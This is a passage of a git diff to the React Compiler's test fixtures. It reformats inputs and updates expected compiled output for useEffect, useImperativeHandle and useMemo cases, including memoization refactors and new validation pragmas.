-    dispatch({ kind: "update" });
+    dispatch({kind: 'update'});
   };
 
   useEffect(() => {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-arg-memoized.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-arg-memoized.js
index 5af08ec40784..693ac660e18f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-arg-memoized.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-arg-memoized.js
@@ -5,7 +5,7 @@ function Component(props) {
   // onUpdate should be memoized even though it doesn't
   // flow into the return value
   const onUpdate = () => {
-    dispatch({ kind: "update" });
+    dispatch({kind: 'update'});
   };
 
   useEffect(() => {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-external-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-external-mutate.expect.md
index 4481197c91ca..62e932cda10f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-external-mutate.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-external-mutate.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { useEffect } from "react";
+import {useEffect} from 'react';
 
-let x = { a: 42 };
+let x = {a: 42};
 
 function Component(props) {
   useEffect(() => {
@@ -22,23 +22,15 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
 import { useEffect } from "react";
 
 let x = { a: 42 };
 
 function Component(props) {
-  const $ = _c(1);
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {
-      x.a = 10;
-    };
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  useEffect(t0);
+  useEffect(_temp);
+}
+function _temp() {
+  x.a = 10;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-external-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-external-mutate.js
index 5e5b7de3b3e7..4cbc6b44e4df 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-external-mutate.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-external-mutate.js
@@ -1,6 +1,6 @@
-import { useEffect } from "react";
+import {useEffect} from 'react';
 
-let x = { a: 42 };
+let x = {a: 42};
 
 function Component(props) {
   useEffect(() => {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-global-pruned.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-global-pruned.expect.md
index c598ff836731..ac779631693d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-global-pruned.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-global-pruned.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useEffect } from "react";
+import {useEffect} from 'react';
 
 function someGlobal() {}
 function useFoo() {
@@ -36,35 +36,28 @@ import { useEffect } from "react";
 
 function someGlobal() {}
 function useFoo() {
-  const $ = _c(3);
+  const $ = _c(2);
+  const fn = _temp;
   let t0;
   let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = function () {
-      someGlobal();
-    };
-    $[0] = t1;
-  } else {
-    t1 = $[0];
-  }
-  t0 = t1;
-  const fn = t0;
-  let t2;
-  let t3;
-  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
-    t2 = () => {
+    t0 = () => {
       fn();
     };
-    t3 = [fn];
-    $[1] = t2;
-    $[2] = t3;
+    t1 = [fn];
+    $[0] = t0;
+    $[1] = t1;
   } else {
-    t2 = $[1];
-    t3 = $[2];
+    t0 = $[0];
+    t1 = $[1];
   }
-  useEffect(t2, t3);
+  useEffect(t0, t1);
+
   return null;
 }
+function _temp() {
+  someGlobal();
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-global-pruned.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-global-pruned.js
index f4561c524e76..5f91815991f6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-global-pruned.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-global-pruned.js
@@ -1,4 +1,4 @@
-import { useEffect } from "react";
+import {useEffect} from 'react';
 
 function someGlobal() {}
 function useFoo() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-method-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-method-call.expect.md
index c275453aff60..638ea42aa5e1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-method-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-method-call.expect.md
@@ -19,20 +19,12 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
 let x = {};
 function Component() {
-  const $ = _c(1);
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {
-      x.foo = 1;
-    };
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  React.useEffect(t0);
+  React.useEffect(_temp);
+}
+function _temp() {
+  x.foo = 1;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-namespace-pruned.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-namespace-pruned.expect.md
index 0c6f4d582f60..610d3dca57be 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-namespace-pruned.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-namespace-pruned.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import * as React from "react";
+import * as React from 'react';
 
 function someGlobal() {}
 function useFoo() {
@@ -36,35 +36,28 @@ import * as React from "react";
 
 function someGlobal() {}
 function useFoo() {
-  const $ = _c(3);
+  const $ = _c(2);
+  const fn = _temp;
   let t0;
   let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = function () {
-      someGlobal();
-    };
-    $[0] = t1;
-  } else {
-    t1 = $[0];
-  }
-  t0 = t1;
-  const fn = t0;
-  let t2;
-  let t3;
-  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
-    t2 = () => {
+    t0 = () => {
       fn();
     };
-    t3 = [fn];
-    $[1] = t2;
-    $[2] = t3;
+    t1 = [fn];
+    $[0] = t0;
+    $[1] = t1;
   } else {
-    t2 = $[1];
-    t3 = $[2];
+    t0 = $[0];
+    t1 = $[1];
   }
-  React.useEffect(t2, t3);
+  React.useEffect(t0, t1);
+
   return null;
 }
+function _temp() {
+  someGlobal();
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-namespace-pruned.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-namespace-pruned.js
index 56858c047132..67f561b5ed3f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-namespace-pruned.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-namespace-pruned.js
@@ -1,4 +1,4 @@
-import * as React from "react";
+import * as React from 'react';
 
 function someGlobal() {}
 function useFoo() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-nested-lambdas.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-nested-lambdas.expect.md
index 90847235ffd0..0cce42e97a5b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-nested-lambdas.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-nested-lambdas.expect.md
@@ -14,7 +14,7 @@ function Component(props) {
   }, [dispatch]);
 
   useEffect(() => {
-    const cleanup = GlobalEventEmitter.addListener("onInput", () => {
+    const cleanup = GlobalEventEmitter.addListener('onInput', () => {
       if (item.value) {
         exit();
       }
@@ -35,7 +35,7 @@ function Component(props) {
 import { c as _c } from "react/compiler-runtime"; // @enableTransitivelyFreezeFunctionExpressions:false
 
 function Component(props) {
-  const $ = _c(9);
+  const $ = _c(7);
   const item = useMutable(props.itemId);
   const dispatch = useDispatch();
   useFreeze(dispatch);
@@ -51,7 +51,8 @@ function Component(props) {
   }
   const exit = t0;
   let t1;
-  if ($[2] !== item.value || $[3] !== exit) {
+  let t2;
+  if ($[2] !== exit || $[3] !== item) {
     t1 = () => {
       const cleanup = GlobalEventEmitter.addListener("onInput", () => {
         if (item.value) {
@@ -60,30 +61,24 @@ function Component(props) {
       });
       return () => cleanup.remove();
     };
-    $[2] = item.value;
-    $[3] = exit;
+    t2 = [exit, item];
+    $[2] = exit;
+    $[3] = item;
     $[4] = t1;
+    $[5] = t2;
   } else {
     t1 = $[4];
-  }
-  let t2;
-  if ($[5] !== exit || $[6] !== item) {
-    t2 = [exit, item];
-    $[5] = exit;
-    $[6] = item;
-    $[7] = t2;
-  } else {
-    t2 = $[7];
+    t2 = $[5];
   }
   useEffect(t1, t2);
 
   maybeMutate(item);
   let t3;
-  if ($[8] === Symbol.for("react.memo_cache_sentinel")) {
+  if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
     t3 = <div />;
-    $[8] = t3;
+    $[6] = t3;
   } else {
-    t3 = $[8];
+    t3 = $[6];
   }
   return t3;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-nested-lambdas.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-nested-lambdas.js
index 2da7e390e130..73c3d73688e1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-nested-lambdas.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-nested-lambdas.js
@@ -10,7 +10,7 @@ function Component(props) {
   }, [dispatch]);
 
   useEffect(() => {
-    const cleanup = GlobalEventEmitter.addListener("onInput", () => {
+    const cleanup = GlobalEventEmitter.addListener('onInput', () => {
       if (item.value) {
         exit();
       }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-snap-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-snap-test.expect.md
index 930302faec2a..f6de477ff12b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-snap-test.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-snap-test.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-import { useEffect, useState } from "react";
+import {useEffect, useState} from 'react';
 
 function Component() {
-  const [state, setState] = useState("hello");
+  const [state, setState] = useState('hello');
   useEffect(() => {
-    setState("goodbye");
+    setState('goodbye');
   }, []);
 
   return <div>{state}</div>;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-snap-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-snap-test.js
index fdc695eba5b0..986f037bf6c8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-snap-test.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-snap-test.js
@@ -1,9 +1,9 @@
-import { useEffect, useState } from "react";
+import {useEffect, useState} from 'react';
 
 function Component() {
-  const [state, setState] = useState("hello");
+  const [state, setState] = useState('hello');
   useEffect(() => {
-    setState("goodbye");
+    setState('goodbye');
   }, []);
 
   return <div>{state}</div>;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useImperativeHandle-ref-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useImperativeHandle-ref-mutate.expect.md
new file mode 100644
index 000000000000..d8f1a9ff20d1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useImperativeHandle-ref-mutate.expect.md
@@ -0,0 +1,65 @@
+
+## Input
+
+```javascript
+// @flow
+
+import {useImperativeHandle, useRef} from 'react';
+
+component Component(prop: number) {
+  const ref1 = useRef(null);
+  const ref2 = useRef(1);
+  useImperativeHandle(ref1, () => {
+    const precomputed = prop + ref2.current;
+    return {
+      foo: () => prop + ref2.current + precomputed,
+    };
+  }, [prop]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{prop: 1}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+
+import { useImperativeHandle, useRef } from "react";
+
+function Component(t0) {
+  const $ = _c(3);
+  const { prop } = t0;
+  const ref1 = useRef(null);
+  const ref2 = useRef(1);
+  let t1;
+  let t2;
+  if ($[0] !== prop) {
+    t1 = () => {
+      const precomputed = prop + ref2.current;
+      return { foo: () => prop + ref2.current + precomputed };
+    };
+    t2 = [prop];
+    $[0] = prop;
+    $[1] = t1;
+    $[2] = t2;
+  } else {
+    t1 = $[1];
+    t2 = $[2];
+  }
+  useImperativeHandle(ref1, t1, t2);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ prop: 1 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) 
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useImperativeHandle-ref-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useImperativeHandle-ref-mutate.js
new file mode 100644
index 000000000000..63d090ddd816
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useImperativeHandle-ref-mutate.js
@@ -0,0 +1,19 @@
+// @flow
+
+import {useImperativeHandle, useRef} from 'react';
+
+component Component(prop: number) {
+  const ref1 = useRef(null);
+  const ref2 = useRef(1);
+  useImperativeHandle(ref1, () => {
+    const precomputed = prop + ref2.current;
+    return {
+      foo: () => prop + ref2.current + precomputed,
+    };
+  }, [prop]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{prop: 1}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-arrow-implicit-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-arrow-implicit-return.expect.md
new file mode 100644
index 000000000000..df3dae1d83a0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-arrow-implicit-return.expect.md
@@ -0,0 +1,40 @@
+
+## Input
+
+```javascript
+// @validateNoVoidUseMemo
+function Component() {
+  const value = useMemo(() => computeValue(), []);
+  return <div>{value}</div>;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateNoVoidUseMemo
+function Component() {
+  const $ = _c(2);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = computeValue();
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const value = t0;
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = <div>{value}</div>;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-arrow-implicit-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-arrow-implicit-return.js
new file mode 100644
index 000000000000..0ea121430d1d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-arrow-implicit-return.js
@@ -0,0 +1,5 @@
+// @validateNoVoidUseMemo
+function Component() {
+  const value = useMemo(() => computeValue(), []);
+  return <div>{value}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-empty-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-empty-return.expect.md
new file mode 100644
index 000000000000..7be708ef5017
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-empty-return.expect.md
@@ -0,0 +1,34 @@
+
+## Input
+
+```javascript
+// @validateNoVoidUseMemo
+function Component() {
+  const value = useMemo(() => {
+    return;
+  }, []);
+  return <div>{value}</div>;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateNoVoidUseMemo
+function Component() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <div>{undefined}</div>;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-empty-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-empty-return.js
new file mode 100644
index 000000000000..7985884d5657
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-empty-return.js
@@ -0,0 +1,7 @@
+// @validateNoVoidUseMemo
+function Component() {
+  const value = useMemo(() => {
+    return;
+  }, []);
+  return <div>{value}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-explicit-null-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-explicit-null-return.expect.md
new file mode 100644
index 000000000000..d35213b00800
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-explicit-null-return.expect.md
@@ -0,0 +1,34 @@
+
+## Input
+
+```javascript
+// @validateNoVoidUseMemo
+function Component() {
+  const value = useMemo(() => {
+    return null;
+  }, []);
+  return <div>{value}</div>;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateNoVoidUseMemo
+function Component() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <div>{null}</div>;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-explicit-null-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-explicit-null-return.js
new file mode 100644
index 000000000000..9b0a1a8253dc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-explicit-null-return.js
@@ -0,0 +1,7 @@
+// @validateNoVoidUseMemo
+function Component() {
+  const value = useMemo(() => {
+    return null;
+  }, []);
+  return <div>{value}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-if-else-multiple-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-if-else-multiple-return.expect.md
index 25edfe4e6506..a102f71a8e76 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-if-else-multiple-return.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-if-else-multiple-return.expect.md
@@ -2,6 +2,7 @@
 ## Input
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const x = useMemo(() => {
     if (props.cond) {
@@ -17,7 +18,7 @@ function Component(props) {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const $ = _c(4);
   let t0;
@@ -45,6 +46,7 @@ function Component(props) {
     t0 = t1;
   }
   const x = t0;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-if-else-multiple-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-if-else-multiple-return.js
index a39f3b2826e4..ba5ab1cb2f46 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-if-else-multiple-return.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-if-else-multiple-return.js
@@ -1,3 +1,4 @@
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const x = useMemo(() => {
     if (props.cond) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-independently-memoizeable.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-independently-memoizeable.expect.md
index 8b3f03137ee4..c433cd2dfca8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-independently-memoizeable.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-independently-memoizeable.expect.md
@@ -2,6 +2,7 @@
 ## Input
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const [a, b] = useMemo(() => {
     const items = [];
@@ -17,49 +18,47 @@ function Component(props) {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const $ = _c(10);
   let t0;
-  let t1;
   if ($[0] !== props.a) {
-    t1 = makeObject(props.a);
+    t0 = makeObject(props.a);
     $[0] = props.a;
-    $[1] = t1;
+    $[1] = t0;
   } else {
-    t1 = $[1];
+    t0 = $[1];
   }
-  const a = t1;
-  let t2;
+  const a = t0;
+  let t1;
   if ($[2] !== props.b) {
-    t2 = makeObject(props.b);
+    t1 = makeObject(props.b);
     $[2] = props.b;
-    $[3] = t2;
+    $[3] = t1;
   } else {
-    t2 = $[3];
+    t1 = $[3];
   }
-  const b = t2;
-  let t3;
+  const b = t1;
+  let t2;
   if ($[4] !== a || $[5] !== b) {
-    t3 = [a, b];
+    t2 = [a, b];
     $[4] = a;
     $[5] = b;
-    $[6] = t3;
+    $[6] = t2;
   } else {
-    t3 = $[6];
+    t2 = $[6];
   }
-  t0 = t3;
-  const [a_0, b_0] = t0;
-  let t4;
+  const [a_0, b_0] = t2;
+  let t3;
   if ($[7] !== a_0 || $[8] !== b_0) {
-    t4 = [a_0, b_0];
+    t3 = [a_0, b_0];
     $[7] = a_0;
     $[8] = b_0;
-    $[9] = t4;
+    $[9] = t3;
   } else {
-    t4 = $[9];
+    t3 = $[9];
   }
-  return t4;
+  return t3;
 }
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-independently-memoizeable.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-independently-memoizeable.js
index 4f9f5f39c148..a557a2781977 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-independently-memoizeable.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-independently-memoizeable.js
@@ -1,3 +1,4 @@
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const [a, b] = useMemo(() => {
     const items = [];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inlining-block-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inlining-block-return.expect.md
index 8226f41795a6..147dbac92ad9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inlining-block-return.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inlining-block-return.expect.md
@@ -5,7 +5,7 @@
 function component(a, b) {
   let x = useMemo(() => {
     if (a) {
-      return { b };
+      return {b};
     }
   }, [a, b]);
   return x;
@@ -13,8 +13,8 @@ function component(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -42,6 +42,7 @@ function component(a, b) {
     t0 = undefined;
   }
   const x = t0;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inlining-block-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inlining-block-return.js
index 033c1a733736..0048e2cb6c93 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inlining-block-return.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inlining-block-return.js
@@ -1,7 +1,7 @@
 function component(a, b) {
   let x = useMemo(() => {
     if (a) {
-      return { b };
+      return {b};
     }
   }, [a, b]);
   return x;
@@ -9,6 +9,6 @@ function component(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inverted-if.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inverted-if.expect.md
index a137ec8dc64a..248552813b96 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inverted-if.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inverted-if.expect.md
@@ -2,6 +2,7 @@
 ## Input
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const x = useMemo(() => {
     label: {
@@ -17,8 +18,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -26,6 +27,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   let t0;
   bb0: {
@@ -41,6 +43,7 @@ function Component(props) {
     t0 = props.b;
   }
   const x = t0;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inverted-if.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inverted-if.js
index 590fe61209e2..baecabc252bc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inverted-if.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inverted-if.js
@@ -1,3 +1,4 @@
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const x = useMemo(() => {
     label: {
@@ -13,6 +14,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-labeled-statement-unconditional-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-labeled-statement-unconditional-return.expect.md
index dfbefecffea7..4a871bf4bc6c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-labeled-statement-unconditional-return.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-labeled-statement-unconditional-return.expect.md
@@ -2,6 +2,7 @@
 ## Input
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const x = useMemo(() => {
     label: {
@@ -13,8 +14,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -22,11 +23,10 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
-  let t0;
+  const x = props.value;
 
-  t0 = props.value;
-  const x = t0;
   return x;
 }
 
